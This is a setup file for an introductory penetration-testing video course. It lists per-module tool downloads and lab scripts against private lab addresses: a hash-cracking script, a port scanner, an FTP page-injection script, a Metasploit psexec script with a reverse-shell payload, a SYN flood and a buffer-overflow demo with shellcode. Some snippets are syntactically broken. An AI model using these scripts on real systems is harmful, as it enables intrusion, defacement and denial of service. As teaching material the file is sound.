

PreConfiguration File

This file contains details of the software and virtual machine configuration changes required to support the Introduction to Pen Testing course. Each requirement is noted in the relevant course module, but you may wish to pre-load the software to avoid having to wait when working through each video. All software is downloaded to and installed in Windows unless otherwise noted.

Video Title	Item	Details
02_06 Extending Powershell with Nishang	Install Nishang into Windows	Download the file nishang-master.zip from https://github.com/samratashok/nishang and extract its contents into the folder C:\nishang
03_01 Refreshing your bash skills	hwtest.sh	<pre>#!/bin/bash str="Hello World" echo \$str</pre>
	argtest.sh	<pre>#!/bin/bash echo \$# echo \$1 \$2</pre>
	vartest.sh	<pre>#!/bin/bash num="\$1" num2=17 if [\$num1 -ge \$num2] then echo "\$num1 is greater than or equal to \$num2" else echo "\$num2 is greater than \$num1" fi echo "sum is" \$((\$num1+\$num2))</pre>
	readtest.sh	<pre>#!/bin/bash echo "What is your name? " read name echo "Hello \$name" read -p "Remind me, what is your name again? " name</pre>

		echo "Hello again \$name"
03_02 Controlling the flow in a script	fortest.sh	#!/bin/bash names=('Peter' 'Paul' 'Mary' 'David' 'Joe') x=\${#names[@]} for ((i=0; i<\$x; i++)) do echo \${names[\$i]} done
	wutest.sh	#!/bin/bash runs=6 while [\$runs -gt 0] do echo Run down at number \$runs let runs=runs-1 done until [\$runs -gt 6] do echo Run up at number \$runs let runs=runs+1 done
	iftest.sh	if [-d \$1] then echo \$1+" exists" ls \$1 else echo \$1+" does not exist" fi
03_03 Using functions in bash	fnctest.sh	#!/bin/bash function speak

		<pre>{ if [\$1 = "Paris"] then echo "Language used is French" elif [\$1 = "Hanoi"] then echo "Language used is Vietnamese, with a little French and English" else echo "Language used is English, of one form or another!" fi } PS3=">" echo "Let's check the language" select city in "Paris" "Melbourne" "Toronto" "Seattle" "" "Hanoi" "exit" do if [\$city = "exit"] then break fi case \$city in Paris) echo "Going to Paris";; Melbourne) echo "Going to Melbourne";; Toronto) echo "Going to Toronto";; Seattle) echo "Going to Seattle";; Hanoi) echo "Going to Hanoi";; esac speak \$city done echo "Bye!"</pre>
--	--	--

03_04 Adding PHP to the script	URLOcc.html	<pre> <!DOCTYPE html> <html> <head> <title>URL Test</title> </head> <body> <h1>User Accounts</h1> <p> </p> <form action="http://10.0.2.6/URLTest2.php?account=" method="GET"> <p>ACN: <input type="text" name="account" /></p> <p><input type="submit" value="Show Account" /></p> <p> </p> </form> </body> </html> </pre>
	URLTest2.php	<pre> <?php \$account=\$_GET['account']; \$name=" "; \$add1=" "; \$add2=" "; \$balance=" "; if (\$account=="115121") { \$name="John Doe"; \$add1="32 Greyson Way"; \$add2="White Marsh"; \$balance="43,112.37"; } If (\$account=="115122") { \$name="Sam Spade"; \$add1="1/25 Hanimore St" \$add2="Eldesburg"; \$balance="3,210.00"; } </pre>

		<pre> ?> <html> <head> <title>URL Test</title> </head> <body> <h1>User Accounts</h1> <p> </p> <p>Account: <?=\$account?></p> <p>Address: <?=\$add1?></p> <p> <?=\$add2?></p> <p>Balance: <?=\$balance?></p> </body> </html> </pre>
04_02 Using the system functions	getpass.py	<pre> Import sys Import crypt passfile=open('dict.txt','r') for word in passfile.readlines(): if (crypt.crypt(word.strip(),"MS")==sys.argv[1]): print "password is "+word </pre>
04_03 Using networking functions	banftp.py	<pre> import socket socket.setdefaulttimeout(1) s = socket.socket() s.connect_ex(("10.0.2.8",21)) banner = s.recv(1024) s.close() print banner </pre>
	portscan.py	<pre> import sys import socket try: </pre>

		<pre> for i in range(1:1024): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) if s.connect_ex((sys.argv[1],i))==0: print sys.argv[1]+":"+str(i)+"open" s.close() except Exception, e: pass </pre>
04_04 Working with web sites	useftp.py	<pre> import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www') ftp.dir() </pre>
	webinject.py	<pre> import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www/myacc') f=open('index.tmp','w') ftp.retrlines('RETR myacc.html',f.write) f.write('<iframe src="http://10.0.2.8/myacc/gotcha"></iframe>') f.close() f.open('index.tmp','r') ftp.storlines('STOR myacc.html',f) f.close() ftp.close() print "Accounts page redirected to Gotcha site" </pre>
04_05 Driving Metasploit through Python	slumber.py	<pre> import os import sys def shell(metaFile) metaFile.write('use exploit/multi/handler\n') metaFile.write('set payload windows/meterpreter/reverse_tcp\n') metaFile.write('set LHOST 10.0.2.11\n') </pre>

		<pre> metaFile.write('set LPORT 3000\n') metaFile.write('exploit -j z\n') metaFile.write('setg DisablePayloadHandler 1\n') def exploit(metaFile) metaFile.write('use exploit/windows/smb/psexec\n') metaFile.write('set RHOST 10.0.2.6\n') metaFile.write('set SMBUser Administrator\n') metaFile.write('set SMBPass admin\n') metaFile.write('set payload windows/meterpreter/reverse_tcp\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LPORT 3000\n') metaFile.write('exploit -j z\n') metafile = open('meta.rc','w') shell(metaFile) exploit(metaFile) metaFile.close() os.system('msfconsole -r meta.rc') </pre>
04_06 Accessing SQLite databases	squeal.py	<pre> import sqlite3 cs=sqlite3.connect('Cookies') c=cs.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type=="table";') for row in c: print str(row) </pre>
	sqcol.py	<pre> import sqlite3 cs=sqlite3.connect('Cookies') c=cs.execute('SELECT * FROM cookies;') for row in c.description: print row[0] </pre>
04_07 Using scapy to work with packets	spack.py	<pre> from scapy.all import * def flood(src,tgt): for port in range(1024,65536): </pre>

		<pre> send(IP(src=src, dst=tgt) /TCP(sport=port, dport=4444, flags="S")) source="10.0.2.11" target="10.0.2.8" flood(source, target) </pre>
05_02 Fuzzing with Spike	Vulnserver into Windows	Download and extract the Vulnerable server from https://github.com/stephenbradshaw/vulnserver into c:\vulnserver
05_04 Adding the Trity tool to Kali	Trity into Kali	<pre> cd /usr/share git clone https://github.com/toxic-ig/Trity cd Trity chmod +x install.py python install.py </pre>
05_07 Scanning targets with OpenVas	OpenVas into Kali	<pre> apt-get install openvas openvas-setup </pre>
06_02 Testing websites with Burpsuite	HacmeCasino into Windows	Download the Hacme Casino installation file from the site https://www.mcafee.com/au/downloads/free-tools/hacme-casino.aspx and execute it to install the program Register a user johndoe/johndoe
06_04 Fingerprinting web servers	Install HTTPRecon into Windows	download and unzip from http://www.compute.ch/projekte/httprecon/?s=download into c:\httprecon
	Install HTTPrint into Windows	Download and unzip from net-square.com/httpprint.html into c:\httpprint
07_02 Understanding code injection	Cminer into Kali	<pre> wget https://github.com/EgeBalci/Cminer/raw/master/Cminer chmod +x Cminer </pre>
	LordPE into Windows	Download and extract from https://appdb.winehq.org/objectManager.php?sClass=version&iid=14290 into C:\LordPE
07_03 Understanding buffer overflows	buffalo.asm	<pre> .386 .model flat, stdcall option casemap :none </pre>

		<pre> include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .data Packet db "Malcolm",0 ; Packet db "AAAAAAAAA1AAAAAAAAA2AAAAAAAAA3AA" ; exploit dword 00403024h ; payload BYTE 6Ah,0,68h,4Bh,30h,40h,00h,68h,38h, ; 30h,40h,00h,6Ah,00h,68h,1Dh,10h,40h,00h,0C3h, ; 49h,27h,76h,65h,20h,62h,65h,65h,6Eh,20h,42h,75h, ; 66h,66h,61h,6Ch,6Fh,27h,64h,21h,00h Hello db "Hello <name here>", 0 .code start: push offset Hello push offset Packet call sco invoke MessageBox, NULL, addr Hello, addr Hello, MB_OK invoke ExitProcess, 0 sco proc mov ebp,esp mov ebx, [ebp+4] ; name parameter sub sp, 32 ; make room for packet data mov edx, esp ; start of name, for saving now mov ecx, esp ; start of name, for reading later nx: mov al, byte ptr [ebx] ; let's move the packet data into local mov byte ptr [edx], al ; character at a time inc ebx inc edx cmp al,0 ; until we find the zero delimiter </pre>
--	--	--

		<pre>jnz nx mov edi, [ebp+8] ; Welcome message add edi, 6 ; position to where we put name s1: mov al, byte ptr [ecx] ; get start of name from local mov byte ptr [edi], al ; store it in welcome message inc edi inc ecx cmp al, 0 ; keep going until zero delimiter jnz s1 add sp, 32 ; release local storage ret 8 ; release call parameter sco endp end start</pre>
--	--	--